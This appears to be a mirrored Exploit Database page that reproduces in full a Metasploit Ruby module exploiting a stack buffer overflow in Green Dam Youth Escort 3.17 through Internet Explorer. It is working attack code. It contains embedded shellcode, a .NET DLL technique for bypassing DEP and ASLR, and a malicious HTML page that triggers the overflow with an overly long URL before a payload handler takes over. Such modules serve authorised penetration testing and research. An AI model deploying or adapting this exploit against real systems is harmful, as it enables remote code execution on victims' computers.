Green Dam – URL Processing Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-03-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16536/

• ##
  # $Id: greendam_url.rb 8762 2010-03-10 05:58:01Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  ##
  # greendam_url.rb
  #
  # Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework
  #
  # Green Dam Youth Escort 3.17 successfully exploited on the following platforms:
  #- Internet Explorer 6, Windows XP SP2
  #- Internet Explorer 7, Windows XP SP3
  #- Internet Explorer 7, Windows Vista SP1
  #
  # .NET binary is used to bypass DEP and ASLR
  #
  # Trancer
  # http://www.rec-sec.com
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Green Dam URL Processing Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in Green Dam Youth Escort
  				version 3.17 in the way it handles overly long URLs.
  				By setting an overly long URL, an attacker can overrun a buffer and execute
  				arbitrary code. This module uses the .NET DLL memory technique by Alexander
  				Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
  			'Version'=> '$Revision: 8762 $',
  			'References' =>
  				[
  					['OSVDB', '55126'],
  					['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'],		# Analysis of the Green Dam Censorware System
  					['URL', 'http://www.milw0rm.com/exploits/8938'],		# Original exploit by seer[N.N.U]
  					['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],	# .NET DLL memory technique
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00",
  					'Compat' =>
  						{
  							'ConnectionType' => '-find',
  						},
  					'StackAdjustment' => -3500,
  
  					# Temporary stub virtualalloc() + memcpy() payload to RWX page
  					'PrependEncoder' =>
  						"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
  						"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
  						"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
  						"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
  						"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
  						"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
  						"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
  						"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
  						"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
  						"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }],
  				],
  			'DisclosureDate' => 'Jun 11 2009',
  			'DefaultTarget'=> 0))
  	end
  
  	def on_request_uri(cli, request)
  
  		ibase = 0x24240000
  		vaddr = ibase + 0x2065
  
  		if (request.uri.match(/\.dll$/i))
  
  			print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
  
  			return if ((p = regenerate_payload(cli)) == nil)
  
  			# First entry points to the table of pointers
  			vtable= [ vaddr + 4 ].pack("V")
  			cbase = ibase + 0x2065 + (256 * 4)
  
  			# Build a function table
  			255.times { vtable << [cbase].pack("V") }
  
  			# Append the shellcode
  			vtable << p.encoded
  			send_response(
  				cli,
  				Msf::Util::EXE.to_dotnetmem(ibase, vtable),
  				{
  					'Content-Type' => 'application/x-msdownload',
  					'Connection' => 'close',
  					'Pragma' => 'no-cache'
  				}
  			)
  			return
  		end
  
  		print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
  
  		j_function	= rand_text_alpha(rand(100)+1)
  		j_url		= rand_text_alpha(rand(100)+1)
  		j_counter	= rand_text_alpha(rand(30)+2)
  
  		if ("/" == get_resource[-1,1])
  			dll_uri = get_resource[0, get_resource.length - 1]
  		else
  			dll_uri = get_resource
  		end
  		dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
  
  		html = %Q|<html>
  <head>
  <script language="javascript">
  	function #{j_function}() {
  		var #{j_url}='';
  		for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++)
  			#{j_url}+='$';
  
  		window.location=#{j_url}+'.html';
  	}
  </script>
  </head>
  <body onload="#{j_function}()">
  	<object classid="#{dll_uri}#GenericControl">
  	<object>
  </body>
  </html>
  		|
  
  		# Transmit the compressed response to the client
  		send_response(cli, html, { 'Content-Type' => 'text/html' })
  
  		# Handle the payload
  		handler(cli)
  	end
  end